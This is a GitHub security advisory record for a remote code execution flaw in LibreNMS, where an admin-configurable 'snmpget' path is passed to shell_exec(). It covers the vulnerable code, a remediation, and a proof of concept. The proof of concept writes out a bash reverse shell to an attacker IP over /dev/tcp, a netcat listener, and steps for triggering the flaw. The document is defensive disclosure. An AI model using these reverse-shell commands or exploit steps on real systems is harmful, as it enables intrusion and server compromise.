{"id":"GHSA-jf24-8g2h-2wg7","summary":"LibreNMS Vulnerable to Remote Code Execution via AboutController","details":"# Remote Code Execution via AboutController in LibreNMS\n\n## Summary\n\nA Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.\n\n**Severity:** High (CVSS 7.2)\n**Attack Vector:** Network\n**Privileges Required:** High (Administrator)\n**User Interaction:** None\n**Impact:** Complete system compromise with web server privileges\n\n---\n\n## Details\n\n### Vulnerable Code\n\n**File:** `app/Http/Controllers/AboutController.php`\n**Line:** 85\n\n```php\n'version_netsnmp' =\u003e str_replace('version: ', '', \n    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2\u003e&1'))),\n```\n\n### Root Cause\n\nThe AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `&`, `'`, `\"`, `\u003e`, `\u003c`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.\n\n### Configuration Access\n\nThe `snmpget` configuration can be modified through the web interface:\n\n- **Endpoint:** `PUT /settings/snmpget`\n- **Controller:** `SettingsController::update()`\n- **Required Privileges:** Administrator\n- **Config Definition:** `resources/definitions/config_definitions.json`\n\n```json\n\"snmpget\": {\n    \"default\": \"/usr/bin/snmpget\",\n    \"type\": \"executable\"\n}\n```\n\n### Validation Analysis\n\nThe `sanitizePath()` function in `DynamicConfigItem.php`:\n\n```php\n// LibreNMS/Util/DynamicConfigItem.php:277-284\nprivate function sanitizePath(string $path): string|false\n{\n    if (preg_match('/[`;#$|&\\'\"\u003e\u003c(]/', $path)) {\n        return false;\n    }\n    return realpath($path);\n}\n\n// LibreNMS/Util/DynamicConfigItem.php:107-110\n} elseif ($this-\u003etype === 'executable') {\n    $value == $this-\u003esanitizePath($value);\n    return $value !== false && is_file($value) && is_executable($value);\n}\n```\n### Attack Scenarios\n\n| Scenario | Description |\n|----------|-------------|\n| **Insider Threat** | Internal admin creates malicious file → updates config → RCE |\n| **Privilege Escalation** | Attacker with limited access → creates file → full RCE |\n| **Supply Chain** | Malicious package installs binary → admin uses it → RCE |\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Valid administrator credentials for LibreNMS web interface\n- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)\n\n### Proof of Concept - Reverse Shell\n\n#### Step 1: Create Malicious Executable\n\nCreate a reverse shell payload that connects back to the attacker:\n\n```bash\nATTACKER_IP=\"172.16.69.144\"\nATTACKER_PORT=9001\n\nbash -c 'bash -i \u003e& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0\u003e&1' 2\u003e/dev/null\n```\n\nSave this as `/tmp/rev_shell.sh` and make it executable:\n```bash\nchmod +x /tmp/rev_shell.sh\n```\n\n#### Step 2: Setup Netcat Listener\n\nOn your attacking machine, start a netcat listener:\n\n```bash\nnc -lvnp 9001\n```\n\n#### Step 3: Update Configuration via Web Interface\n\nLogin to LibreNMS web interface as administrator and navigate to:\n- **Settings** → **External** → **Binaries**\n- Locate **snmpget** configuration\n- Update the value to: `/tmp/rev_shell.sh`\n- Click **Save**\n\n\u003cimg width=\"1919\" height=\"848\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3\" /\u003e\n\n#### Step 4: Trigger RCE\n\nAccess the `/about` endpoint to execute the malicious binary:\n\n\u003cimg width=\"1861\" height=\"957\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b\" /\u003e\n\n---\n\n## Impact Summary\n\n| Category | Level | Description |\n|----------|-------|-------------|\n| **Confidentiality** | HIGH | Read config files, database credentials, SSH keys |\n| **Integrity** | HIGH | Create webshells, backdoors, modify code |\n| **Availability** | HIGH | Disrupt services, delete data, stop monitoring |\n| **Scope** | CHANGED | Compromise extends beyond application to system |\n\n### Who Is Impacted\n- LibreNMS installations where attacker has admin credentials AND file system access\n- Organizations using LibreNMS for network monitoring\n- Systems monitored by LibreNMS (lateral movement risk)\n\n\n---\n\n## Remediation\n\nReplace `shell_exec()` with Symfony Process component:\n\n```php\n// BEFORE (vulnerable):\nshell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2\u003e&1')\n\n// AFTER (safe):\n$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);\n$process-\u003erun();\n```","aliases":["CVE-2026-84190"],"modified":"2026-09-02T03:55:41.206549254Z","published":"2026-08-18T21:17:11Z","database_specific":{"cwe_ids":["CWE-77","CWE-78"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-08-18T21:17:11Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/librenms/librenms/security/advisories/GHSA-jf24-8g2h-2wg7"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"},{"type":"WEB","url":"https://github.com/librenms/librenms/releases/tag/26.5.0"}],"affected":[{"package":{"name":"librenms/librenms","ecosystem":"Packagist","purl":"pkg:composer/librenms/librenms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.5.0"}]}],"versions":["1.19","1.20","1.20.1","1.21","1.22","1.22.01","1.23","1.24","1.25","1.26","1.27","1.28","1.29","1.30","1.30.01","1.31","1.31.01","1.31.02","1.31.03","1.32","1.32.01","1.33","1.33.01","1.34","1.35","1.36","1.36.01","1.37","1.38","1.39","1.40","1.41","1.42","1.42.01","1.43","1.44","1.45","1.46","1.47","1.48","1.48.1","1.49","1.50","1.50.1","1.51","1.52","1.53","1.53.1","1.54","1.55","1.56","1.57","1.58","1.58.1","1.59","1.60","1.61","1.62","1.62.1","1.62.2","1.63","1.64","1.64.1","1.65","1.65.1","1.66","1.67","1.68","1.69","1.70.0","1.70.1","21.1.0","21.10.0","21.10.1","21.10.2","21.11.0","21.12.0","21.12.1","21.2.0","21.3.0","21.4.0","21.5.0","21.5.1","21.6.0","21.7.0","21.8.0","21.9.0","21.9.1","22.1.0","22.10.0","22.11.0","22.12.0","22.2.0","22.2.1","22.2.2","22.3.0","22.4.0","22.4.1","22.5.0","22.6.0","22.7.0","22.8.0","22.9.0","23.1.0","23.1.1","23.10.0","23.11.0","23.2.0","23.4.0","23.4.1","23.5.0","23.6.0","23.7.0","23.8.0","23.8.1","23.8.2","23.9.0","23.9.1","24.1.0","24.10.0","24.10.1","24.11.0","24.12.0","24.2.0","24.3.0","24.4.0","24.4.1","24.5.0","24.6.0","24.7.0","24.8.0","24.8.1","24.9.0","24.9.1","25.1.0","25.10.0","25.11.0","25.12.0","25.2.0","25.3.0","25.4.0","25.5.0","25.6.0","25.7.0","25.8.0","25.9.0","25.9.1","26.1.0","26.1.1","26.2.0","26.3.0","26.3.1","26.4.0","26.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-jf24-8g2h-2wg7/GHSA-jf24-8g2h-2wg7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"}]}